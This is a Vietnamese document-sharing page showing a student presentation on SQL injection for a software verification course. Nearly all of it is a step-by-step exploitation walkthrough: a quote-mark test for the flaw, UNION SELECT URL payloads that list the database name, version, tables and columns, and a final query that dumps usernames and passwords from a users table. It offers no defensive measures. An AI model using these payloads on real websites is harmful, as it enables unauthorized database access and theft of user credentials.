1. Trang chủ
  2. » Luận Văn - Báo Cáo

Tiểu luận môn kiểm chứng phần mềm LỖI BẢO MẬT WEBSITE SQL INJECTION

14 468 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 14
Dung lượng 535,5 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

NHỮNG BƯỚC CẦN LÀM ĐỂ KHAI THÁC SQL INJECTION XÁC ĐỊNH XEM WEB ĐÓ CÓ BỊ DÍNH LỖI SQL INJECTION HAY KHÔNG  NẾU KHÔNG DÍNH THÌ NGHỈ CHƠI  NẾU DÍNH THÌ TIẾP TỤC CHƠI TIẾP... CÁCH NH N BI

Trang 1

 GI I THI U ỚI THIỆU ỆU

LỖI BẢO MẬT WEBSITE SQL

INJECTION

Trang 2

NHỮNG BƯỚC CẦN LÀM ĐỂ KHAI THÁC SQL INJECTION

XÁC ĐỊNH XEM WEB ĐÓ CÓ BỊ DÍNH LỖI SQL INJECTION HAY KHÔNG

NẾU KHÔNG DÍNH THÌ NGHỈ CHƠI

NẾU DÍNH THÌ TIẾP TỤC CHƠI TIẾP

Trang 3

CÁC B ƯỚC THỰC HIỆN KHI WEBSITE BỊ LỖI C TH C HI N KHI WEBSITE B L I ỰC HIỆN KHI WEBSITE BỊ LỖI ỆN KHI WEBSITE BỊ LỖI Ị LỖI ỖI

L Y TÊN DATABASE ẤY TÊN DATABASE

XÁC ĐỊNH VERSION CỦA DATABASE

XÁC ĐỊNH CÁC TABLES CỦA DATABASE

XÁC ĐỊNH CÁC COLUMN CỦA TỪNG TABLE

LẤY THÔNG TIN

Trang 4

CÁC B ƯỚC THỰC HIỆN KHI WEBSITE BỊ LỖI C TH C HI N KHI WEBSITE B L I ỰC HIỆN KHI WEBSITE BỊ LỖI ỆN KHI WEBSITE BỊ LỖI Ị LỖI ỖI

L Y TÊN DATABASE ẤY TÊN DATABASE

XÁC ĐỊNH VERSION CỦA DATABASE

XÁC ĐỊNH CÁC TABLES CỦA DATABASE

XÁC ĐỊNH CÁC COLUMN CỦA TỪNG TABLE

LẤY THÔNG TIN

Trang 5

CÁCH NH N BI T WEBSITE B L I SQL ẬN BIẾT WEBSITE BỊ LỖI SQL ẾT WEBSITE BỊ LỖI SQL Ị LỖI ỖI

INJECTION

THÊM DẤU NHÁY ĐƠN VÀO SAU ID

http://webcuateo.com/tintuc.php?id=12’

THÔNG BÁO LỖI

Warning: mysql_fetch_assoc(): supplied argument is not a valid

MySQL result resource in /data/home/dbteo/htdocs/tintuc.php

on line 25

DEMO

Trang 6

XÁC ĐỊNH CÁC CỘT GÂY RA

LỖI SQL INJECTION

Thêm dấu trừ trước id và câu lệnh sql phía sau

id

VÍ DỤ:

http://webcuateo.com/tintuc.php?id=-12

union select all

1,2,3,4  DEMO

Trang 7

TH CHO Đ N KHI CÓ K T QU TR V LÀ CÁC Ử CHO ĐẾN KHI CÓ KẾT QUẢ TRẢ VỀ LÀ CÁC ẾT WEBSITE BỊ LỖI SQL ẾT WEBSITE BỊ LỖI SQL Ả TRẢ VỀ LÀ CÁC Ả TRẢ VỀ LÀ CÁC Ề LÀ CÁC

C T GÂY NÊN L I SQL ỘT GÂY NÊN LỖI SQL ỖI

KẾT QUẢ NHƯ SAU:

Trang 8

XÁC ĐỊNH TÊN DATABASE

CÚ PHÁP:

Tên web site/loại tin?id=-x union select all

1,2,3,4,database(),6,7,8,…y from

information_schema.tables where table_schema =

database()  VÍ DỤ:

webcuateo.com/tintuc.php?id=-12 union select all

1,2,3,4,database(),6,7,8,9,10,11 from

information_schema.tables where table_schema =

database()  DEMO

Trang 9

XÁC ĐỊNH VERSION CỦA

DATABASE

CÚ PHÁP:

Tên web site/loại tin?id=-x union select all

1,2,3,4,version(),6,7,8,…y from information_schema.tables where table_schema =

database()  VÍ DỤ:

webcuateo.com/tintuc.php?id=-12 union select all

1,2,3,4,version(),6,7,8,9,10,11 from

information_schema.tables where table_schema =

database()  DEMO

Trang 10

XÁC ĐỊNH CÁC B NG C A Ả TRẢ VỀ LÀ CÁC ỦA

DATABSE

CÚ PHÁP:

Tên web site/loại tin?id=-x union select all

1,2,3,4,group_concat(table_name),6,7,8,…y from

information_schema.tables where table_schema =

database()  VÍ DỤ:

webcuateo.com/tintuc.php?id=-12 union select all

1,2,3,4,group_concat(table_name),6,7,8,9,10,11 from information_schema.tables where table_schema =

database()  DEMO

Trang 11

XÁC ĐỊNH CÁC C T C A CÁC ỘT GÂY NÊN LỖI SQL ỦA

TABLE

CÚ PHÁP:

Tên web site/loại tin?id=-x union select all

1,2,3,4,group_concat(column_name),6,7,8,…y from

information_schema.columns where table_schema =

database()  VÍ DỤ:

webcuateo.com/tintuc.php?id=-12 union select all

1,2,3,4,group_concat(column_name),6,7,8,9,10,11 from information_schema.columns where table_schema =

database()  DEMO

Trang 12

XÁC ĐỊNH THÔNG TIN C A C A ỦA ỦA

CÁC C T ỘT GÂY NÊN LỖI SQL

CÚ PHÁP:

Tên web site/loại tin?id=-x union select all

1,2,3,4,group_concat(tên cột user,tên cột pass),6,7,8,

…y from tên bảng chứa cột user và pass

VÍ DỤ

webcuateo.com/tintuc.php?id=-12 union select all

1,2,3,4,group_concat( user,pass ),6,7,8,9,10,11 from users

DEMO

Trang 13

XÁC ĐỊNH THÔNG TIN C A CÁC ỦA

C T – CÁCH KHÁC ỘT GÂY NÊN LỖI SQL

CÚ PHÁP:

Tên web site/loại tin?id=-x union select all

1,2,3,4,group_concat(column_name),6,7,8,…y from

information_schema.columns where table_schema =

database() and table_name = 0x mã hex của tên bảng chứa user và pass

VÍ DỤ:

webcuateo.com/tintuc.php?id=-12 union select all

1,2,3,4,group_concat(column_name),6,7,8,9,10,11 from

information_schema.columns where table_schema =

database() and table_name = 0x51746d696f

DEMO

Trang 14

TỔNG KẾT

Ngày đăng: 08/04/2015, 20:35

TỪ KHÓA LIÊN QUAN